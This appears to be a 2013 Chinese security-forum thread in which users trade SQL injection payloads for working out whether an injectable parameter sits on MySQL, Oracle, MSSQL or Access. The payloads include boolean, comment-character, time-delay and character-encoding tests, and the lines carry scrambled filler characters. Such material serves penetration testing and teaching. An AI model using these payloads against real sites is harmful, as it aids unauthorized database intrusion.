一个注射点如何最快速确认是什么类型数据库

admin

一个注射点如何最快速确认是什么类型数据库
xsser (十根阳具有长短!!) | 2013-02-05 12:36
. i; P% x# U7 Z: u, c假设这么一个注射点：
* v& C- q3 ^  O: cshow.html?id=2
4 X2 A- G! r' E. j+ `! tmysql:id=2 and version()>0
5 \, r) t' E3 @8 K) ~5 |: uoracle:id=2 and '1'||'1'='11
" P+ ~0 A8 }7 z+ H0 G# U: c5 w7 X其他的欢迎补充
  b7 x. q4 S" A  k' S2 r& ?2 W: w1#
1 d+ K+ W: v) N( Y. L) R' Supload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
2 t* `' P" X' I# `' D, x( L9 C# \Access:
aNd aSc(cHr(97))=97
and exists(select id from MSysAccessObjects)
SQL Server:
and exists(select id from sysobjects)
and length(user)>0
/ t2 V6 }( a' g. _) d# c4 D: P( UMySQL:
and length(user())>0
- D, R" Q3 p( I9 t/ `( j2#
5 P, ^7 V+ J% i2 ]  Z6 Yxsser (十根阳具有长短!!) | 2013-02-05 12:48
@upload 如果这些都不是呢…
3#
4 J+ O9 B7 j( [7 oupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
@xsser 不快速的，延时注入
$ C9 g; I' O, Q: u6 k不知道这样写对不对
mssql：id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
mysql：id=2 and select benchmark(1e8,current_date());
4#
. |# A; Y0 \! \* f* \8 Nupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
& K! A% h8 i9 Q/ K" G最快的貌似是看报错信息
oracle error
% x- p+ F* ~; Y. Tmssql error
2 Q$ G+ m7 ^/ ?: i/ M1 H( _mysql error
; J1 s9 e  U3 c1 @5#
  ]9 {7 E* e% S2 K2 INimda (你们都是坏银～) | 2013-02-05 13:14
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
6#
* c" D7 V: Z! R1 C- pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
“/*”是MySQL中的注释符，返回错误说明该注入点不是MySQL，继续提交如下查询字符：
) f+ n$ w' t6 P7 L$ {  A/ _“–”是Oracle和MSSQL支持的注释符，如果返回正常，则说明为这两种数据库类型之一。继续提交如下查询字符：
' |  S: ]5 ^( @8 j“;”是子句查询标识符，Oracle不支持多行查询，因此如果返回错误，则说明很可能是Oracle数据库。
2 M$ b$ ?6 Q' c3 m+ J7#
_Evil (HackEnd) | 2013-02-05 13:33
PostgreSQL
8#
  Y& P* _6 w5 K7 j5 T' Supload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
切换编码 and 1=1
oracle：
7 b8 y# G6 T0 oCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
mssql：
$ l/ f- i+ X. y( W/ \CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
5 v" u) g9 P2 O! Ymysql：
- p9 s1 y# L' v+ P* R8 o) rCHAR(97, 110, 100, 32, 49, 61, 49)
9#
! Q, V& I* {7 R2 V% [# h0 Uxsser (十根阳具有长短!!) | 2013-02-05 14:31
" S* X( t% x' i@upload 比较常见的数据库这些还是可以判断的，但是还有其他奇葩类型的呢？
10#
7 g& y" g. m" x" p8 a! P* y  b+ jupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
@xsser 是奇葩数据库类型的么？
根据注入的原理，我们可以猜想，要成功的注入，必须使得注入后的一片和谐，那么使用该类数据库特性来判断,综上所述：
1.是否可以使用特定的函数来判断，该数据库特有的
2.是否可以使用辅助的符号来判断，如注释符号、多语句查询符等等
& X4 b! p5 [  @9 u% E4 P# v4 @0 ]3.是否可以编码查询
4.是否显可以利用错信息
5.是否存在数据库某些特性辅助判断
- f( Z% r/ }' k1 j1 J+ h个人见解
11#
小胖子 (z7y壮士，来，干了这碗酒！) | 2013-02-05 14:55
! G+ r) m) j, ~1 |9 D9 x* w已收藏，mssql可以直接看到错误提示的吧～
12#
Passer_by | 2013-02-05 15:09
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
# T! |: O- C' @from:http://zone.wooyun.org/content/260